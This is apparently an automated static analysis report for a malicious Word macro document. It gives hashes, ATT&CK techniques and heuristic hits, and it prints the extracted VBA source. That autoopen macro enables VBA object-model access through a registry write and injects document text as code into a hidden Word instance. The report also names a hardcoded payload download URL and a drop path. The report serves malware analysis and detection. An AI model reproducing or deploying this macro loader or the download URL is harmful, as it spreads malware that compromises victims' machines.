Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 45483b0417489808…

MALICIOUS

Office (OOXML)

42.7 KB Created: 2021-06-07 10:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 160bc586b53e330937ab2af28c249c46 SHA-1: cfc21e724fab9292109338a961b59efa9948668f SHA-256: 45483b041748980834ca3924392f198586c7fe1995b47519bf3a11f0d44cdcc3
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro executes a function that uses 'CreateObject' to instantiate 'microsoft.xmlhttp' and 'adodb.stream' objects. It then downloads a file from the hardcoded URL 'http://quitfitzgeraldd.com/adda/17731/QQ7m5zwWHY53972wpD6HXzvrKyW4gFDrsvjTOacghe0VlO/YuKVClCsh0iDoxYiWyoNp8LYJSNbpRJfoI/9vCQFPwzoMcxjYl5Stc34StOm/aHjEuz1vCW1DThpi9yL/ebvwhg1Oa6UtSiVQRVfL5BCz2og8FVSMsgHl/2900/18860/k8VE3y1cSh7ytD/coc7?uF=sbyJLykaJW&BcRn4E3Rn=0Sd5b&ref=woUYxzH8&time=4SMLCFuX7YSKrMzPTyDplgGe8nMv&yXzc5MqlX=YLhZ5qDj5O8SPTl&6ncqsOS=oLHATOmcq3&cid=5FEW0dHnowzIlL7VsFHtPt8k3SNXd' and saves it as 'c:\programdata\procBorderScreen.jpg'. The script also writes a registry value to enable VBA object model access, likely to facilitate further malicious actions.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub screenLeft()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & arrTextboxException & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub exceptionDelete(deleteTemp)
Set loadVar = CreateObject("word.application")
With loadVar.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "WRemoveList"
Sub autoopen()
screenLeft
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://quitfitzgeraldd.com/adda/17731/QQ7m5zwWHY53972wpD6HXzvrKyW4gFDrsvjTOacghe0VlO/YuKVClCsh0iDoxYiWyoNp8LYJSNbpRJfoI/9vCQFPwzoMcxjYl5Stc34StOm/aHjEuz1vCW1DThpi9yL/ebvwhg1Oa6UtSiVQRVfL5BCz2og8FVSMsgHl/2900/18860/k8VE3y1cSh7ytD/coc7?uF=sbyJLykaJW&BcRn4E3Rn=0Sd5b&ref=woUYxzH8&time=4SMLCFuX7YSKrMzPTyDplgGe8nMv&yXzc5MqlX=YLhZ5qDj5O8SPTl&6ncqsOS=oLHATOmcq3&cid=5FEW0dHnowzIlL7VsFHtPt8k3SNXd In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1041 bytes
SHA-256: 1b8f7cd59b18f0bbdef4e983e68d30b34538c54956f2592f9a3926fd4b596472
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WRemoveList"
Sub autoopen()
screenLeft
deleteTemp = ActiveDocument.Range.Text
deleteTemp = Mid(deleteTemp, 2, Len(deleteTemp))
exceptionDelete deleteTemp
End Sub
Sub exceptionDelete(deleteTemp)
Set loadVar = CreateObject("word.application")
With loadVar.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString deleteTemp
End With
loadVar.Visible = False
loadVar.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function arrTextboxException()
arrTextboxException = Application.Version
End Function
Sub screenLeft()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & arrTextboxException & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 0b6908edbae7b15355b9eb4b13851e611744c22ee67f0eec89c0ec29321cedf2

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